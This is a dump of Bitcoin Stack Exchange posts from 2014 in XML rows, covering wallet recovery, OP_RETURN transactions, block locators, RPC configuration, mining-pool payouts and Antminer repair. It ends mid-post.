  <row Id="32245" PostTypeId="2" ParentId="26986" CreationDate="2014-10-31T02:36:03.350" Score="-1" Body="&lt;p&gt;As far as I know, there is no third-party ID could be associated with a bitcoin transaction. This means, if the power goes down, you would not be able to determine if the transaction &quot;made it&quot; by looking at block chain for the sender and recipient wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wallets and transactions are cheap. So you can create a pool of wallets and then intelligently rotate them making sure you lock on one until the entire transaction is complete and confirmed with public records. Then based on exclusivity of access you can determine BTC transaction hash for your system transaction record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To take this idea to the extreme, you could create a new wallet for every amount you want to send, and use this wallet to identify the only one outgoing transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this would help,&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="20893" LastActivityDate="2014-10-31T02:36:03.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32247" PostTypeId="1" AcceptedAnswerId="35540" CreationDate="2014-10-31T03:55:29.677" Score="2" ViewCount="1554" Body="&lt;p&gt;I found the following pool: &lt;a href=&quot;http://pool.nxtcrypto.org/howto.html&quot; rel=&quot;nofollow&quot;&gt;http://pool.nxtcrypto.org/howto.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm a bit unclear on these instructions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To claim your earnings, simply send an AM (can be empty or put&#xA;  whatever you want in there) to the pool account 1460178482 and after&#xA;  this AM has 1440 comfirmations, your confirmed earnings will be sent&#xA;  to you, minus NXT transfer fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do they mean by &quot;simply send an AM&quot;? What is AM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the lease nxt page, it says I can attach a message. Do I just attach it during the lease transaction? Or do I have to send a separate empty message to the pool account after sending the leased funds?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-01T09:10:50.517" LastActivityDate="2016-04-01T09:10:50.517" Title="How do I join a NXT mining forging pool? And how do I register for payouts from the pool?" Tags="|mining-pools|miner-configuration|nxt|pool-payout-methods|forging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32248" PostTypeId="2" ParentId="2293" CreationDate="2014-10-31T06:26:48.820" Score="1" Body="&lt;p&gt;Since you are asking if there is an exchange that accepts PayPal -&gt; Bitcoin the short answer is no. However; Localbitcoins is a great place where you can meet other buyers/sellers such as yourself who are willing to convert your Paypal funds to Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to look at the seller/buyer's feedback so to not get scammed. It is relatively safe, and is much safer now that PayPal acknowledges bitcoin and does not shut down people's accounts for using PayPal for Bitcoin related activities. For a great tutorial with a video on how to convert your Paypal funds to Bitcoin using Localbitcoin visit: &lt;a href=&quot;http://www.btcfeed.net/tutorials/how-to-convert-paypal-to-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://www.btcfeed.net/tutorials/how-to-convert-paypal-to-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-10-31T06:26:48.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32249" PostTypeId="2" ParentId="32244" CreationDate="2014-10-31T06:30:57.833" Score="1" Body="&lt;p&gt;To answer your question let me give you an example of what some people do in order to try and take advantage of market arbitrage with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know, Bitstamp and BTC-E are two of the biggest exchanges that are trading Bitcoin. If you look at the BTC price on BTC-E you can see it is always lower than that of Bitstamp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to go to Russia (or know somebody in russia that trades bitcoins locally) they go by the BTC-E price there. So, if you find a guy in Russia that can sell you coins at BTC-E price, if you are located in the US you can sell your coins here at Bitstamp's price. Same goes for Huobi (which is in china). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for arbitrage to work you need to know people in different countries who can sell bitcoins locally for you at that market price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So go out there and make those connections whether it be in the trollboxes, forums (bitcointalk) or other means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I helped.&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-10-31T06:30:57.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32250" PostTypeId="2" ParentId="32236" CreationDate="2014-10-31T08:11:56.413" Score="3" Body="&lt;p&gt;First of all, nothing is encrypted in Bitcoin, there is no &quot;encryption&quot; involved whatsoever. Cryptography: yes, but encryption: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main aspect of private vs public key signing, is dat you can openly share your public key (that's what bitcoin balances are associated with), and then using your private key you can create a &quot;digital signature&quot; for a transaction spending coins from that public key. Other people can verify if this signature is correct, thus knowing that the transaction was signed by the one holding the private key. But here's the catch: this verification can be done without having the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially, the digital signature algorithm allows you to prove that you have the private key that corresponds to a certain public key, &lt;em&gt;without sharing the actual private key&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, obviously, neither is there a feasible way to reconstruct the private key from a given public key and a valid signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is called ECDSA or &quot;elliptic curve digital signature algorithm&quot;, because the inner workings are based on elliptic curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this all works technically is somewhat complicated, there's some fancy maths involved. If you want to get into the dirty details, here's a good explanation: &lt;a href=&quot;http://kakaroto.homelinux.net/2012/01/how-the-ecdsa-algorithm-works/&quot; rel=&quot;nofollow&quot;&gt;http://kakaroto.homelinux.net/2012/01/how-the-ecdsa-algorithm-works/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20702" LastEditorUserId="20702" LastEditDate="2014-10-31T08:17:45.860" LastActivityDate="2014-10-31T08:17:45.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32252" PostTypeId="1" AcceptedAnswerId="32256" CreationDate="2014-10-31T10:08:19.267" Score="0" ViewCount="1975" Body="&lt;p&gt;I have a private key bigInt of type bigInteger and I would like to generate the address corresponding to this private key. I implemented the following function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public String get_address () {&#xA;Address address = new Address(NetworkParameters.prodNet(), Utils.sha256hash160(new ECKey(bigInt).getPubKey()));&#xA;return address.toString();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When compiling, I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception in thread &quot;main&quot; java.lang.NoClassDefFoundError: org/spongycastle/util/encoders/Hex&#xA;at com.google.bitcoin.core.NetworkParameters.&amp;lt;clinit&amp;gt;(NetworkParameters.java:49)&#xA;at bitcoin.get_address(bitcoin.java:40)&#xA;at main.main(main.java:11)&#xA;Caused by: java.lang.ClassNotFoundException: org.spongycastle.util.encoders.Hex&#xA;at java.net.URLClassLoader$1.run(URLClassLoader.java:366)&#xA;at java.net.URLClassLoader$1.run(URLClassLoader.java:355)&#xA;at java.security.AccessController.doPrivileged(Native Method)&#xA;at java.net.URLClassLoader.findClass(URLClassLoader.java:354)&#xA;at java.lang.ClassLoader.loadClass(ClassLoader.java:425)&#xA;at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)&#xA;at java.lang.ClassLoader.loadClass(ClassLoader.java:358)&#xA;... 3 more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess that I need to import the library org.spongycastle but I don't know how to do that in Eclipse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who can help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="20895" LastEditorUserId="5464" LastEditDate="2014-10-31T12:49:45.580" LastActivityDate="2014-10-31T12:49:45.580" Title="java.lang.NoClassDefFoundError: org/spongycastle/util/encoders/Hex in Java when dealing with Bitcoin addresses" Tags="|address|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32253" PostTypeId="1" AcceptedAnswerId="32258" CreationDate="2014-10-31T10:09:24.020" Score="5" ViewCount="7804" Body="&lt;p&gt;I read &lt;a href=&quot;http://genecoin.me/faq.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; that since Bitcoin is a networked ledger, it is a good way to back up data. I would like to know two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How does a blockchain store 'any' data? I would like to know more about a blockchain's anatomy that enables it to do so.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If anyone can store data in blockchains, what prevents blockchains from becoming astronomically larger? Even today, a Bitcoin client takes forever to synchronize.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20844" LastEditorUserId="20844" LastEditDate="2014-10-31T22:56:32.377" LastActivityDate="2015-08-19T19:34:00.857" Title="How does a blockchain store any data?" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32254" PostTypeId="2" ParentId="32244" CreationDate="2014-10-31T10:17:26.787" Score="0" Body="&lt;p&gt;After some research, it turns out that at certain exchanges, some premium is generally paid because of added privacy and quick delivery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, some exchanges do not require customers to present their IDs, and simply work as a conduit between potential sellers and buyers that live close to one another. People seeking extra privacy or want to avoid hassles are happy to pay above market price for bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="20844" LastActivityDate="2014-10-31T10:17:26.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32255" PostTypeId="1" CreationDate="2014-10-31T11:33:49.967" Score="0" ViewCount="418" Body="&lt;p&gt;I created transaction with OP_RETURN adding some information. Even though transaction hash created successfully, the transaction doesn't go to blockchain properly. Could you please help me to do this transaction properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;scriptPubKey&quot;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;asm&quot;: &quot;OP_RETURN 726173656c6140676d61696c2e636f6d7e39383732363733383834&quot;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;hex&quot;: &quot;6a1b726173656c6140676d61696c2e636f6d7e39383732363733383834&quot;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;type&quot;: &quot;nonstandard&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="20712" LastActivityDate="2014-10-31T14:15:58.790" Title="OP_RETURN transaction doesn't go to the blockchain" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32256" PostTypeId="2" ParentId="32252" CreationDate="2014-10-31T12:26:34.240" Score="1" Body="&lt;p&gt;You need to resolve the dependency &lt;code&gt;org.spongycastle.util.encoders.Hex&lt;/code&gt;, more than likely you need to add this dependency to your &lt;code&gt;pom.xml&lt;/code&gt; file if you are using Maven. If you are not using maven, you will have download the JAR file from somewhere and I add it to your build path in Eclipse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a quick Google search this appears &lt;a href=&quot;http://grepcode.com/snapshot/repo1.maven.org/maven2/com.madgag/sc-light-jdk15on/1.47.0.3/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is  the dependency that you want. &lt;/p&gt;&#xA;" OwnerUserId="20835" LastActivityDate="2014-10-31T12:26:34.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32257" PostTypeId="2" ParentId="32255" CreationDate="2014-10-31T13:57:56.197" Score="1" Body="&lt;p&gt;Can you give the full transaction, and decode it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default client nodes will not broadcast your transaction because it is not standard. That may be the problem. If it is mined into a block, however, they would not refuse that block just because it had non-standard transactions, because the transaction would be &lt;strong&gt;valid&lt;/strong&gt; even though it might not be &lt;strong&gt;standard&lt;/strong&gt;. For more on this, you may find the below questions helpful. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21123/which-scripts-are-currently-considered-standard-and-therefore-actually-propagate&quot;&gt;Which scripts are currently considered standard and therefore actually propagated?&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23435/what-node-implementations-and-mining-pools-relay-and-process-non-standard-scri&quot;&gt;What node implementations and mining pools relay and process &amp;#39;non-standard&amp;#39; scripts?&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That might not even be the problem, though. It could be signed incorrectly. You should make sure that the OP_RETURN output was included before the transaction was signed. You can verify that the signature of the transaction is valid using the code in this question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32194/how-to-verify-ecdsa-of-a-sample-litecoin-tx-using-pycoin/32217#32217&quot;&gt;How to verify ECDSA of a sample litecoin tx using pycoin?&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-10-31T14:15:58.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32258" PostTypeId="2" ParentId="32253" CreationDate="2014-10-31T14:03:50.137" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Most people think of Bitcoin as a currency, but this is only one use of its protocol &amp;amp; network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. It is just a currency. The Bitcoin protocol can be used for different services, but the Bitcoin network is certainly not for gene distribution, or any other form of data back-up. That is not the intention of Bitcoin. You can, however, abuse the protocol to store unnecessary unrelated information. And yes I say abuse, because we as normal Bitcoin users have to download larger blocks for reasons that are opaque to us and no not necessarily concern us (like your genetic code). They are interfering with the purpose of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting to your questions now:&#xA;you cannot really store data in Bitcoin in a normal fashion, simply because that is not what Bitcoin is concerned with. You can, however, embed additional information in transactions, which are broadcasted and distributed to the network, in multiple ways, thus essentially storing your information in the blockchain. This assumes you know the storage format of course, since you need differentiate the ordinary transaction information from your additional data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No nothing prevents the block chain from getting arbitrary large. In practice, however, this will not fill your hard drive so fast (especially if you take &lt;a href=&quot;https://en.wikipedia.org/wiki/Moore&amp;#39;s_law&quot; rel=&quot;noreferrer&quot;&gt;Moore's law&lt;/a&gt; into consideration), because you need to pay a fee for each transaction per kilobyte.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-11-01T14:55:18.773" LastActivityDate="2014-11-01T14:55:18.773" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32259" PostTypeId="1" AcceptedAnswerId="32471" CreationDate="2014-10-31T14:50:59.450" Score="2" ViewCount="1348" Body="&lt;p&gt;I recently installed a new version of Windows on a new HDD, but I'm having problems getting my old wallet.dat to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install latest Bitcoin Core.&lt;/li&gt;&#xA;&lt;li&gt;Copied over the blocks and chainstate folders from the old hard drive.&lt;/li&gt;&#xA;&lt;li&gt;Run Bitcoin Core and allowed it to sync up to date.&lt;/li&gt;&#xA;&lt;li&gt;Closed Bitcoin Core&lt;/li&gt;&#xA;&lt;li&gt;Removed Wallet.dat from my roaming\Bitcoin folder&lt;/li&gt;&#xA;&lt;li&gt;Copied Wallet.dat from old HDD to the roaming\Bitcoin folder&lt;/li&gt;&#xA;&lt;li&gt;Run Bitcoin Core with '-rescan' parameter.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I run the software, I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in C:\blah\de\blah&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's nothing wrong with the old HDD, or the previous wallet. In fact I &lt;em&gt;could&lt;/em&gt; boot up the previous Windows install, but it's a ballache for various reasons involving symlinks and other such non-standard tomfoolary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On subsequent runs, I receive the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: error reading wallet.dat! All keys read correctly but transaction data or address book entries might be missing or incorrect.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So now I can see my coins in the wallet, and my transaction history - it looks like it's worked, except I can't spend any of the coins. I get a message stating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if yuo used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've not made any use of the wallet since installing my new version of Windows, it's all up to date on the old HDD... so I can't see how it would be listing coins that have already been spent... but the start up message suggests that tansactions are missing from my history, so perhaps I have less than I think?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed light onto why this process hasn't worked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20897" LastEditorUserId="20897" LastEditDate="2014-10-31T15:01:16.707" LastActivityDate="2014-11-12T23:57:25.623" Title="Transaction was rejected - Bitcoin QT, recovered wallet.dat" Tags="|bitcoin-core|wallet.dat|windows|wallet-recovery|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32260" PostTypeId="1" CreationDate="2014-10-31T16:25:37.200" Score="0" ViewCount="254" Body="&lt;p&gt;I have to compose a &quot;getblocks&quot; command found in https://en.bitcoin.it/wiki/Protocol_specification#getblocks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;getblocks&quot; command contains the &quot;block locator hashes&quot;. In essence, I inform a remote node of block hashes that I'm aware of already. There is a rule of how to construct the block locator. Except I’ve no idea of what “pushing”, “going back” or “newest back” means. I cannot figure out the order of block hashes in what I call a locatorArray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s assume I want to advertise three block hashes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block hash of block number zero.  &lt;/li&gt;&#xA;&lt;li&gt;Block hash of block number one.  &lt;/li&gt;&#xA;&lt;li&gt;Block hash of block number two.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let’s assume I have an array of three elements. For example, I might walk through the array in a for loop as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ( int i = 0; i &amp;lt; locatorArrayLength; i++ )&#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The block hash of which block number should be in locatorArray[0]?&lt;br&gt;&#xA;The block hash of which block number should be in locatorArray[2]?&lt;/p&gt;&#xA;" OwnerUserId="20668" LastEditorUserId="20668" LastEditDate="2014-10-31T17:42:36.740" LastActivityDate="2014-11-01T01:20:36.713" Title="What is the order of block hashes in block-locator array?" Tags="|protocol|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32261" PostTypeId="2" ParentId="30331" CreationDate="2014-10-31T17:25:57.613" Score="1" Body="&lt;p&gt;For a user running a full node, this is basically what happens.  On initial installation, they download (from other peers on the network) a copy of the complete block chain, containing every transaction ever executed.  So when a new transaction arrives, they have the data to trace all the transactions that led to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this more efficient, the client maintains a database of valid unspent transaction outputs (utxo), indexed by transaction hash (or txid).  When a new transaction T arrives, the client checks that the inputs of T all correspond to distinct utxo's in the database.  If they do, and all the signatures are in order, and everything else about the transaction makes sense, then the transaction is accepted.  The utxo's corresponding to the inputs of T are removed from the database (since they are now spent), and new utxo entries are created corresponding to the outputs of T.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &quot;thin&quot; nodes, which do not keep all this data, they have to request it from other network nodes which do.  This complicates matters somewhat and requires a certain amount of trust in the nodes providing the information.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-10-31T17:25:57.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32262" PostTypeId="1" CreationDate="2014-10-31T22:04:42.170" Score="-2" ViewCount="3586" Body="&lt;p&gt;I'm a new web programmer and I'm building a website if a Member sign-up he get a wallet, and I want to make this website like a bank .... so when he registers a wallet he can send bitcoin to the wallet and the Website tells him how much he have of bitcoin just like a bank I'm not creating a bank but the idea have the same concept&lt;/p&gt;&#xA;" OwnerUserId="20901" LastActivityDate="2014-11-04T04:58:10.310" Title="How to integrate a Bitcoin wallet service in my website" Tags="|wallet|" AnswerCount="1" CommentCount="5" ClosedDate="2014-11-07T01:13:05.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="32264" PostTypeId="2" ParentId="7177" CreationDate="2014-11-01T00:35:17.120" Score="0" Body="&lt;p&gt;Google Checkout does not allow their service to be used for the sale of virtual currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://checkout.google.com/seller/policies.html&quot; rel=&quot;nofollow&quot;&gt;Google Checkout Program Policies and Guidelines&lt;/a&gt;.  Item 6 has a link to a page of &lt;a href=&quot;https://checkout.google.com/seller/content_policies.html&quot; rel=&quot;nofollow&quot;&gt;content policies&lt;/a&gt; listing prohibited items.  (Somewhat confusingly, the latter page only mentions Google Wallet for Business and not Google Checkout.)  Under the &quot;Financial&quot; category, the list of prohibited items includes &quot;transfers involving any virtual currency&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-11-01T00:35:17.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32265" PostTypeId="2" ParentId="32260" CreationDate="2014-11-01T01:20:36.713" Score="1" Body="&lt;p&gt;The code on that wiki page is how Bitcoin Core constructs block locators, and it's a good method, but the method isn't enforced by the protocol. All you need to do is list a bunch of block hashes that you know about, ordered by descending block height. So in your example your locator could be (2,1,0), (2,1), (1), etc., but not (1, 2).&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2014-11-01T01:20:36.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32266" PostTypeId="1" AcceptedAnswerId="32268" CreationDate="2014-11-01T03:19:54.333" Score="5" ViewCount="6188" Body="&lt;p&gt;I recently downloaded bitcoin from github and changed the settings to allow for rpc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I have it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=192.168.0.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when running bitcoind, it complains that: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Invalid -rpcallowip subnet specification: 192.168.0.*.&#xA;Valid are a single IP, a network/netmask or a network CIDR.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not that familiar with networking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what a valid network/netmask or network/CIDR is for all addresses that could be in 192.168.0.*&lt;/p&gt;&#xA;" OwnerUserId="12375" LastEditorUserId="2306" LastEditDate="2014-11-01T14:41:06.057" LastActivityDate="2014-11-01T14:41:06.057" Title="rpcallowip=192.168.0.* ?? invalid configuration" Tags="|bitcoind|json-rpc|bitcoin.conf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32268" PostTypeId="2" ParentId="32266" CreationDate="2014-11-01T04:44:40.333" Score="11" Body="&lt;p&gt;You want to use &lt;code&gt;192.168.0.0/24&lt;/code&gt;. That's CIDR notation for 192.168.0.*. &lt;/p&gt;&#xA;" OwnerUserId="1119" LastActivityDate="2014-11-01T04:44:40.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32272" PostTypeId="2" ParentId="215" CreationDate="2014-11-01T12:13:31.160" Score="1" Body="&lt;p&gt;BitcoinTalk has a &lt;a href=&quot;https://bitcointalk.org/index.php?board=77.0&quot; rel=&quot;nofollow&quot;&gt;Press&lt;/a&gt; board dedicated to discussing news articles. Each article has its own thread there, which amounts to about 7500 articles by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of articles are also linked and discussed on &lt;a href=&quot;http://www.reddit.com/r/bitcoin&quot; rel=&quot;nofollow&quot;&gt;r/bitcoin&lt;/a&gt;, although they don't make up the brunt of the topics there.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-11-01T12:13:31.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32274" PostTypeId="2" ParentId="16" CreationDate="2014-11-01T18:44:18.130" Score="2" Body="&lt;p&gt;A couple of years after this question was asked there is now an excellent book about bitcoin targeted mostly to developers: &lt;a href=&quot;https://github.com/aantonop/bitcoinbook&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoin [github]&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's written by bitcoin expert &lt;a href=&quot;http://en.wikipedia.org/wiki/Andreas_Antonopoulos&quot; rel=&quot;nofollow&quot;&gt;Andreas Antonopoulos&lt;/a&gt; and is available for free on github.&lt;/p&gt;&#xA;" OwnerUserId="12600" LastEditorUserId="5406" LastEditDate="2015-06-28T08:41:37.157" LastActivityDate="2015-06-28T08:41:37.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32275" PostTypeId="1" AcceptedAnswerId="117457" CreationDate="2014-11-01T19:28:56.743" Score="0" ViewCount="2660" Body="&lt;p&gt;I have a S2 Antminer since April 2014, and has been on for 6 months and stopped working recently (oct-2014). I can turn it on and it shows power, but the LCD is blank and when opening the cover to see if there is anything loose, everything seems fine. I tried to take out the microsd card that is connected to the controller card inside and I cannot seem to be able to see it on my computer. It doesnt detect at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following the instructions here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=671625&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=671625&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I purchased a Beaglebone Black Rev. C from Amazon. The instructions found on that page doesnt seem to be very clear as I needed to improvise on certain things. Does anyone have a better guide or tips on how to get this working?  &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-02-08T12:50:26.433" LastActivityDate="2023-03-04T15:46:48.340" Title="Bitmain Antminer S2 Bitcoin Miner Stopped Booting - How to get it to boot up again?" Tags="|mining-hardware|antminer|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32276" PostTypeId="2" ParentId="16" CreationDate="2014-11-01T20:46:19.280" Score="1" Body="&lt;p&gt;I recommend this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot; rel=&quot;nofollow&quot;&gt;master thesis&lt;/a&gt; on “Design and security analysis of Bitcoin infrastructure using application deployed on Google Apps Engine.” It covers the fundamentals of Bitcoin protocol and how everything works together in Bitcoin ecosystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the author of this paper is also quite active here!&lt;/p&gt;&#xA;" OwnerUserId="20844" LastActivityDate="2014-11-01T20:46:19.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32277" PostTypeId="2" ParentId="32275" CreationDate="2014-11-01T20:48:52.367" Score="0" Body="&lt;p&gt;After following the instructions on the forum link provided, I have these additional notes for those that might run into this issue too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes regarding the Beaglebone Black Rev C:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Beaglebone Black is the same board used on the bitmain antminer S2, but it has alot of extra functions since I guess it was made for consumers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I imaged the onboard memory with the Ubuntu image using these instructions: &lt;a href=&quot;http://shrkey.com/setting-up-beaglebone-black-to-boot-off-the-microsd-card/&quot; rel=&quot;nofollow&quot;&gt;http://shrkey.com/setting-up-beaglebone-black-to-boot-off-the-microsd-card/&lt;/a&gt; -- now it boots into ubuntu once u plug it in without an SD card.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Supposedly the Ubuntu image auto boots to the SD card if its inserted, but thats not the case from my tests. It still boots from the onboard even with the ubuntu image installed. It will boot from the internal memory once plugged in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to image the original antminer s2 image onto an SD card. File is here: &lt;a 